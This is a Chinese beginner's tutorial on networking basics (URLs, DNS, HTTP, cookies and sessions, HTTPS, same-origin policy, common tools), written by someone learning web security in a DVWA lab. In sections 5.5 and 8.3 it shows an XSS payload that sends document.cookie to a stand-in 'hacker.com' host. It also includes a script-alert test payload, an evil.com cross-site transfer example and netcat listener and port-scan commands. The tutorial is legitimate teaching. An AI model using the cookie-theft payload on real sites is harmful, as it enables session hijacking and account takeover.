网络基础科普

网络基础科普 网络基础科普从URL到HTTP协议前言这篇文章是一份纯科普性质的网络基础知识笔记。我在学习Web安全SQL注入、XSS等的过程中发现很多概念其实自己并不清楚URL到底由哪些部分组成HTTP请求和响应长什么样Cookie和Session有什么区别为什么有些网站是http有些是https所以我决定系统地梳理一遍这些基础知识用通俗易懂的语言记录下来。这篇文章适合对网络基础概念不清楚的初学者想系统了解Web工作原理的同学准备学习Web安全但基础薄弱的朋友不需要任何前置知识从零开始讲起。1. 你访问一个网站时发生了什么1.1 完整的过程假设你在浏览器输入https://www.baidu.com并按下回车接下来会发生步骤1DNS解析把域名变成IP地址你输入www.baidu.com 浏览器查DNS这个域名对应哪个IP DNS回答220.181.38.148就像你要寄信收件人地址写的是北京市海淀区某某小区邮局要找到具体的经纬度坐标才能送达。步骤2建立TCP连接三次握手你的电脑 → 百度服务器我想连接你SYN 百度服务器 → 你的电脑好的我准备好了SYN-ACK 你的电脑 → 百度服务器确认开始传输ACK就像打电话先拨号嘟嘟嘟对方接听说喂你回应喂然后开始对话。步骤3发送HTTP请求GET / HTTP/1.1 Host: www.baidu.com User-Agent: Chrome/150.0.0.0 Cookie: BAIDUID...就像你对快递员说“请给我送一份外卖我的地址是xxx我的会员卡号是xxx”。步骤4服务器处理并返回响应HTTP/1.1 200 OK Content-Type: text/html Content-Length: 227 Set-Cookie: session_idabc123 html headtitle百度一下/title/head body.../body /html服务器返回网页的HTML代码。步骤5浏览器渲染页面解析HTML结构加载CSS样式执行JavaScript代码显示图片和视频最终呈现你看到的网页1.2 用生活例子类比整个过程就像你去餐厅点餐DNS解析 找到餐厅的地址建立连接 走进餐厅坐下发送请求 告诉服务员你要什么菜服务器响应 厨房做好菜端上来浏览器渲染 你享用美食2. URL的结构一个网址由什么组成2.1 完整的URL格式https://www.example.com:443/path/to/page?keyvaluekey2value2#section 协议:// 域名 :端口 /路径 ?查询参数 #锚点让我们逐个拆解2.2 协议Protocol常见协议http://- 超文本传输协议明文传输不安全https://- 加密的HTTPSSL/TLS加密安全ftp://- 文件传输协议ws:///wss://- WebSocket协议实时通信举例http://example.com - 不加密数据可能被窃听 https://example.com - 加密传输有小锁图标2.3 域名Domain域名是什么人类可读的网址www.baidu.com实际对应一个IP地址220.181.38.148就像联系人名字对应手机号码域名的层级结构www.example.com | | | 子域名 域名 顶级域名 完整分解 .com - 顶级域名TLD example.com - 二级域名 www.example.com - 三级域名子域名常见顶级域名.com- 商业.cn- 中国.org- 组织.edu- 教育.gov- 政府2.4 端口Port端口的概念IP地址像小区地址端口像门牌号一个服务器可以同时运行多个服务每个服务用不同端口默认端口可以省略http://→ 默认端口 80https://→ 默认端口 443你实际输入https://www.baidu.com 等同于 https://www.baidu.com:443自定义端口http://192.168.43.8:8898/dvwa/ ↑ 你在DVWA实验用的端口常见端口号80 - HTTP443 - HTTPS22 - SSH远程登录21 - FTP文件传输3306 - MySQL数据库6379 - Redis8080/8888/8898 - 常见的自定义HTTP端口2.5 路径Path路径指向具体的页面或资源https://www.example.com/path/to/page.html ^^^^^^^^^^^^^^^ 路径类比域名 图书馆地址路径 第几层、第几排、第几号书架常见路径/index.html - 首页 /about.html - 关于页面 /api/user/login - API接口 /images/logo.png - 图片资源2.6 查询参数Query Parameters格式?keyvaluekey2value2用途向服务器传递数据举例https://www.baidu.com/s?wdpythonieutf-8 ^^^^^^^^^^^^^^^^ 查询参数 解析 wdpython - 搜索关键词是python ieutf-8 - 编码是utf-8在XSS实验中你用过http://192.168.43.8/dvwa/vulnerabilities/xss_r/?namescriptalert(1)/script ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 你注入的payload参数的特点用?开始用连接多个参数格式键值GET请求的数据就在这里2.7 锚点/片段Fragment格式#section用途定位到页面内的某个位置举例https://zh.wikipedia.org/wiki/HTTP#历史 ^^^^ 锚点 点击后会跳转到历史这个章节重要特性后面的内容不会发送到服务器只在浏览器本地使用这就是为什么DOM型XSS更难被WAF检测DOM型XSS利用的就是这个特性http://site.com/#scriptalert(1)/script ^^^^^^^^^^^^^^^^^^^^^^^ 这部分服务器看不到3. IP地址和DNS域名怎么变成IP3.1 IP地址是什么IP地址 网络世界的门牌号IPv4格式192.168.1.1 | | | | 每段是0-255之间的数字 总共4段用.分隔IPv6格式更长因为IPv4地址不够用了2001:0db8:85a3:0000:0000:8a2e:0370:73343.2 公网IP vs 内网IP公网IP全球唯一可以从互联网访问例如百度的服务器220.181.38.148内网IP局域网IP只在局域网内有效不能直接从互联网访问常见的内网IP段192.168.x.x家庭路由器常用10.x.x.x172.16.x.x到172.31.x.x你在DVWA实验中Windows靶机192.168.43.8 - 内网IP Kali攻击机192.168.43.9 - 内网IP 两者在同一局域网所以能互相访问3.3 DNS解析过程DNS 互联网的通讯录完整的查询过程你输入www.baidu.com 1. 浏览器查本地DNS缓存 └─ 没有 → 继续 2. 查操作系统的DNS缓存 └─ 没有 → 继续 3. 问本地DNS服务器通常是路由器 └─ 没有 → 继续 4. 问ISP网络运营商的DNS服务器 └─ 没有 → 继续 5. 递归查询 根域名服务器 → .com域名服务器 → baidu.com域名服务器 6. 最终得到IP220.181.38.148 7. 缓存这个结果下次访问更快为什么需要DNS记IP地址太难了220.181.38.148记域名很容易www.baidu.comDNS把域名翻译成IP3.4 特殊的IP地址127.0.0.1 / localhost永远指向本机回环地址数据不离开电脑用于本地测试0.0.0.0表示所有地址服务监听0.0.0.0 监听所有网卡服务监听127.0.0.1 只能本机访问示例你在Kali启动监听nc -lvnp 8888 默认监听0.0.0.0:8888 所以Windows能连接到Kali的8888端口4. HTTP协议浏览器和服务器怎么对话4.1 HTTP请求的完整格式一个真实的HTTP请求长这样GET /index.html HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 Accept: text/html,application/xhtmlxml Accept-Language: zh-CN,zh;q0.9 Cookie: session_idabc123; useradmin Referer: https://google.com Connection: keep-alive结构分析请求行GET /index.html HTTP/1.1 方法 路径 协议版本 请求头Headers Host: 目标域名 User-Agent: 浏览器信息 Cookie: 会话信息 Referer: 从哪个页面跳转来的 空行表示请求头结束 请求体BodyPOST才有GET没有4.2 HTTP请求方法GET - 获取数据参数在URL里例如/search?qpython在XSS实验中用的反射型XSS就是GETPOST - 提交数据参数在请求体里例如登录表单提交用户名密码数据不在URL里相对安全一点其他方法PUT - 更新资源DELETE - 删除资源HEAD - 只要响应头不要内容OPTIONS - 询问服务器支持哪些方法GET vs POST对比特性GETPOST参数位置URL中请求体中长度限制有浏览器限制无安全性差URL可见相对好缓存会被缓存不会历史记录保存在历史不保存用途查询数据提交数据4.3 HTTP响应的完整格式一个真实的HTTP响应长这样HTTP/1.1 200 OK Date: Fri, 19 Jul 2026 10:30:00 GMT Server: nginx/1.18.0 Content-Type: text/html; charsetutf-8 Content-Length: 1234 Set-Cookie: session_idxyz789; HttpOnly; Secure Cache-Control: no-cache Connection: keep-alive html headtitle示例页面/title/head body h1Hello World/h1 /body /html结构分析状态行HTTP/1.1 200 OK 协议版本 状态码 状态描述 响应头Headers Server: 服务器信息 Content-Type: 内容类型 Set-Cookie: 设置Cookie Content-Length: 内容长度 空行 响应体Body HTML页面内容4.4 HTTP状态码重要状态码告诉你请求是否成功以及失败的原因。2xx - 成功200 OK - 成功 201 Created - 资源已创建 204 No Content - 成功但无返回内容3xx - 重定向301 Moved Permanently - 永久重定向 302 Found - 临时重定向 304 Not Modified - 资源未修改使用缓存4xx - 客户端错误400 Bad Request - 请求格式错误 401 Unauthorized - 未认证没登录 403 Forbidden - 没权限登录了但权限不够 404 Not Found - 资源不存在页面找不到 405 Method Not Allowed - 方法不允许比如该接口不支持POST5xx - 服务器错误500 Internal Server Error - 服务器内部错误 502 Bad Gateway - 网关错误 503 Service Unavailable - 服务不可用可能在维护在实验中可能见过200正常访问DVWA404输错URL路径500SQL注入导致服务器报错5. Cookie和Session网站怎么记住你5.1 为什么需要Cookie和SessionHTTP是无状态的每次请求都是独立的服务器不记得你是谁刷新页面 重新访问服务器不认识你问题登录了淘宝刷新后还要重新登录购物车的商品刷新后就消失解决方案Cookie和Session5.2 Cookie是什么Cookie 浏览器存储的小数据特点存在浏览器里你的电脑上每次请求自动带上服务器可以读取和设置有过期时间Cookie的组成session_idabc123; Domainexample.com; Path/; Expires2026-08-19; HttpOnly; Secure; SameSiteLaxCookie属性详解名称值session_idabc123Domain哪个域名能读取example.comPath哪个路径能读取/表示所有路径Expires过期时间到期后自动删除HttpOnly禁止JavaScript读取防XSS窃取Secure只通过HTTPS传输SameSite防CSRFStrict/Lax/None你在XSS实验中窃取的就是Cookiedocument.cookie// 读取Cookie// 返回session_idabc123; useradmin5.3 Session是什么Session 服务器存储的会话数据特点存在服务器里服务器的内存或数据库每个用户有唯一的Session IDSession ID存在Cookie里关闭浏览器或超时后失效5.4 Cookie和Session的关系完整的登录流程1. 你输入用户名密码点击登录 浏览器 → 服务器 POST /login usernameadminpassword123456 2. 服务器验证密码正确 服务器 - 创建Session{ user_id: 1, username: admin } - 生成Session IDabc123xyz - 把Session存到服务器内存/Redis/数据库 3. 服务器返回Session ID 服务器 → 浏览器 HTTP/1.1 200 OK Set-Cookie: session_idabc123xyz; HttpOnly; Secure 浏览器收到后把Cookie保存下来 4. 下次访问自动带上Cookie 浏览器 → 服务器 GET /profile Cookie: session_idabc123xyz 5. 服务器根据Session ID找到Session 服务器 - 收到session_idabc123xyz - 从存储中查找对应的Session - 找到{ user_id: 1, username: admin } - 知道是admin用户在访问 6. 返回个人信息 服务器 → 浏览器 返回admin的个人资料页面类比Session ID 电影票号码Session数据 影院的座位信息系统你拿着票Cookie里的Session ID进场工作人员扫描票号服务器读Session ID系统显示你的座位信息服务器找到Session数据5.5 为什么XSS窃取Cookie很危险原因拿到Cookie 拿到Session ID 冒充你的身份攻击过程1. 你登录了银行网站 浏览器Cookiesession_idyour_session_123 2. 你访问了含有XSS的页面 XSS代码 new Image().srchttp://hacker.com/?cdocument.cookie; 3. 黑客收到你的Cookie 黑客服务器日志 session_idyour_session_123 4. 黑客把这个Cookie设置到他的浏览器 黑客浏览器Cookiesession_idyour_session_123 5. 黑客访问银行网站 黑客浏览器 → 银行服务器 GET /account Cookie: session_idyour_session_123 银行服务器 - 收到session_idyour_session_123 - 查Session这是admin用户 - 返回admin的账户信息 黑客就变成了你可以转账、修改密码等防御HttpOnly CookieSet-Cookie: session_idabc123; HttpOnlyJavaScript无法读取document.cookie读不到XSS攻击者无法窃取但不能防止其他攻击页面篡改、键盘记录等6. HTTPS为什么要加密6.1 HTTP的问题HTTP是明文传输你的电脑 → 路由器 → ISP → 服务器 ↓ ↓ ↓ ↓ 明文 明文 明文 明文中间人可以窃听看到你的密码、信用卡号篡改把网页内容改成钓鱼页面伪装假装是银行网站6.2 HTTPS HTTP 加密HTTPS的三个目标加密数据传输加密别人看不懂完整性数据没有被篡改身份验证确认对方是真的银行网站6.3 HTTPS工作原理简化版建立HTTPS连接的过程1. 客户端发起请求 你的浏览器 → 服务器 我想建立安全连接 2. 服务器返回证书 服务器 → 你的浏览器 这是我的证书包含公钥 证书内容 - 网站域名www.bank.com - 公钥一串很长的数字 - 签发机构DigiCertCA - 有效期2025-2027 3. 浏览器验证证书 浏览器 - 检查证书是否由可信CA签发 - 检查域名是否匹配 - 检查是否在有效期内 - 验证通过 → 显示小锁 4. 生成会话密钥 浏览器 - 生成随机密钥random_key_xyz - 用服务器的公钥加密这个密钥 浏览器 → 服务器 这是用你的公钥加密的密钥 5. 服务器解密 服务器 - 用私钥解密 - 得到random_key_xyz 现在双方都有这个密钥了 6. 加密通信开始 之后的通信都用random_key_xyz加密 别人即使截获数据也解不开关键点非对称加密RSA公钥加密私钥解密用于交换密钥对称加密AES同一个密钥加解密用于实际数据传输速度快6.4 证书链你的浏览器怎么信任网站证书根CA证书浏览器内置信任 └─ 中间CA证书 └─ 网站证书www.bank.com举例DigiCert Root CA根证书浏览器信任 └─ DigiCert SHA2 Secure Server CA中间证书 └─ www.alipay.com支付宝的证书浏览器验证支付宝的证书是DigiCert中间CA签发的吗✓DigiCert中间CA是DigiCert根CA签发的吗✓DigiCert根CA在我的信任列表里吗✓全部通过显示小锁假证书会怎样黑客自己签发假证书浏览器这个证书不是可信CA签发的显示⚠️ 您的连接不安全6.5 HTTP vs HTTPS特性HTTPHTTPS端口80443加密无有SSL/TLS证书不需要需要速度快稍慢加密开销安全性不安全安全SEO普通搜索引擎优先现状现代网站基本都用HTTPSChrome对HTTP网站标记不安全敏感网站银行、支付必须HTTPS7. 编码和加密别搞混了7.1 编码Encoding目的数据格式转换不是为了保密特点任何人都能解码不需要密钥公开的算法常见编码URL编码你在XSS实验遇到过原文空格 编码%20 %3C %3E %22 %27 为什么需要 URL只能包含ASCII字符 特殊字符需要编码才能传输Base64编码原文Hello 编码SGVsbG8 为什么需要 把二进制数据转成可打印字符 比如在HTML里嵌入图片HTML实体编码防XSS用的原文scriptalert(1)/script 编码lt;scriptgt;alert(1)lt;/scriptgt; 浏览器显示scriptalert(1)/script纯文本 浏览器不会执行只会显示7.2 加密Encryption目的保护数据机密性需要密钥才能解密特点需要密钥没有密钥无法解密用于保密对称加密同一个密钥算法AES、DES、3DES 加密明文 密钥 → 密文 解密密文 密钥 → 明文 例子 明文Hello 密钥my_secret_key 加密5K8dj2kD9s密文非对称加密公钥私钥算法RSA、ECC 公钥加密私钥解密 明文 公钥 → 密文 密文 私钥 → 明文 HTTPS就用这个方式交换密钥7.3 哈希Hash目的验证数据完整性不可逆特点无法反推原文同样输入永远得到同样输出任何输入长度 → 固定长度输出常见哈希算法MD5已不安全 输入Hello 输出8b1a9953c4611296a827abf8c47804d732位 SHA-256安全 输入Hello 输出185f8db32271fe25f561a6fc938b2e264306ec304eda518007d176482638196964位用途存储密码数据库不存明文密码存哈希值用户注册 密码123456 存储e10adc3949ba59abbe56e057f20f883eMD5哈希 用户登录 输入密码123456 计算哈希e10adc3949ba59abbe56e057f20f883e 对比存储的哈希 → 匹配登录成功验证文件完整性下载文件ubuntu.iso 官方提供SHA-256abc123... 你下载后计算SHA-256abc123... 一致 → 文件完整没被篡改7.4 三者对比类型可逆需密钥长度变化用途编码✓✗可能变长数据转换、传输加密✓✓变长或等长保密传输哈希✗✗固定长度验证完整性、存密码记忆口诀编码Base64、URL编码 → 转换格式加密AES、RSA → 需要密钥保护哈希MD5、SHA-256 → 不可逆8. 同源策略和CORS浏览器的安全机制8.1 什么是同源同源 协议 域名 端口 都相同判断同源的例子当前页面https://www.example.com:443/page1 https://www.example.com:443/page2 ✓ 同源路径不影响 http://www.example.com:443/page1 ✗ 协议不同http vs https https://api.example.com:443/data ✗ 域名不同www vs api https://www.example.com:8080/page ✗ 端口不同443 vs 80808.2 为什么需要同源策略没有同源策略会怎样假设你访问了恶意网站evil.com// evil.com的恶意代码fetch(https://bank.com/api/transfer?tohackeramount10000,{credentials:include// 带上bank.com的Cookie})如果没有同源策略你的浏览器里有bank.com的登录Cookieevil.com的JS代码可以读取这个Cookie用你的Cookie向银行发起转账请求钱就转给黑客了有了同源策略evil.com的JS不能读取bank.com的Cookieevil.com不能向bank.com发起带Cookie的请求跨域请求被浏览器拦截8.3 同源策略限制了什么不能跨域访问Cookie、LocalStorage、IndexedDBDOM不能操作其他域的页面AJAX/Fetch请求默认不能跨域可以跨域的img加载图片你XSS窃取Cookie用的script加载脚本link加载CSSiframe嵌入页面但不能操作内容这就是为什么XSS用new Image().src// ✓ 可以img标签天生支持跨域newImage().srchttp://hacker.com/?cdocument.cookie;// ✗ 不行fetch被同源策略限制fetch(http://hacker.com/?cdocument.cookie);8.4 CORS跨域资源共享什么是CORS服务器明确允许其他域名访问。服务器设置响应头Access-Control-Allow-Origin: https://trusted.com举例你的网站https://mysite.com API服务器https://api.example.com 默认情况 mysite.com的JS不能访问api.example.com 浏览器拦截跨域请求 API服务器返回CORS头 Access-Control-Allow-Origin: https://mysite.com 浏览器 看到这个头允许mysite.com访问常见CORS头Access-Control-Allow-Origin: * # 允许所有域名不安全 Access-Control-Allow-Origin: https://trusted.com # 只允许这个域名 Access-Control-Allow-Methods: GET, POST # 允许的方法 Access-Control-Allow-Headers: Content-Type # 允许的请求头 Access-Control-Allow-Credentials: true # 允许带Cookie9. 常用网络工具和命令9.1 ping - 测试连通性用法pingbaidu.com输出PING baidu.com (220.181.38.148): 56 data bytes 64 bytes from 220.181.38.148: icmp_seq0 ttl52 time25.3 ms 64 bytes from 220.181.38.148: icmp_seq1 ttl52 time24.8 ms含义220.181.38.148- 域名对应的IPtime25.3 ms- 延迟25.3毫秒延迟越小越好50ms很好200ms较慢9.2 traceroute / tracert - 追踪路由用法# Linux/Mactraceroutebaidu.com# Windowstracert baidu.com输出1 192.168.1.1 1.2 ms # 你的路由器 2 10.0.0.1 5.3 ms # ISP网关 3 202.97.33.1 15.8 ms # 骨干网节点 ... 10 220.181.38.148 25.3 ms # 目标服务器用途查看数据包经过哪些节点哪一跳延迟高9.3 nslookup - 查询DNS用法nslookupbaidu.com输出Server: 192.168.1.1 Address: 192.168.1.1#53 Non-authoritative answer: Name: baidu.com Address: 220.181.38.148 Address: 220.181.38.251用途查看域名对应哪个IP9.4 curl - 命令行发HTTP请求基本用法# GET请求curlhttps://baidu.com# POST请求curl-XPOST-duseradminpass123https://api.com/login# 查看响应头curl-Ihttps://baidu.com# 带Cookiecurl-bsession_idabc123https://example.com你可以用curl测试XSScurlhttp://192.168.43.8/dvwa/vulnerabilities/xss_r/?namescriptalert(1)/script9.5 nc (netcat) - 网络瑞士军刀我在XSS实验用过# 监听8888端口nc-lvnp8888# 连接目标nc192.168.1.180其他用途# 传输文件# 接收方nc-l8888file.txt# 发送方nc192.168.1.18888file.txt# 端口扫描nc-zv192.168.1.120-1009.6 浏览器开发者工具F12Network标签最常用查看所有HTTP请求点击某个请求查看Headers请求头、响应头Payload请求参数Response响应内容CookiesTiming加载时间Console标签JavaScript控制台查看错误信息执行JS代码测试你可以在这里测试XSS payloadApplication标签查看Cookie查看LocalStorage查看SessionStorage清除缓存你可以这样查看Cookie被窃取// Console里输入document.cookie// 输出session_idabc123; useradmin10. 总结从URL到HTTP的完整过程让我们回顾一下访问网站的完整流程1. 你输入https://www.example.com/page?id1 2. 解析URL 协议https需要加密 域名www.example.com 端口443默认 路径/page 参数id1 3. DNS解析 www.example.com → 93.184.216.34 4. 建立TCP连接 三次握手SYN → SYN-ACK → ACK 5. HTTPS握手 验证证书 → 交换密钥 → 建立加密通道 6. 发送HTTP请求 GET /page?id1 HTTP/1.1 Host: www.example.com Cookie: session_idabc123 ... 7. 服务器处理 - 读取Cookie识别用户 - 查询数据库 - 生成HTML页面 8. 返回HTTP响应 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: session_idxyz789 html.../html 9. 浏览器渲染 - 解析HTML - 加载CSS/JS - 渲染页面 - 显示给你看 10. 断开连接 四次挥手FIN → ACK → FIN → ACK总结这篇文章梳理了Web网络的基础知识从URL结构到HTTP协议从Cookie/Session到HTTPS加密从编码到同源策略。核心要点回顾URL 协议 域名 端口 路径 参数 锚点HTTP 请求行 请求头 空行 请求体Cookie 浏览器存储每次自动带上Session 服务器存储Session ID在Cookie里HTTPS HTTP SSL/TLS加密同源策略 协议、域名、端口都相同才能互相访问希望这篇科普文章能帮到你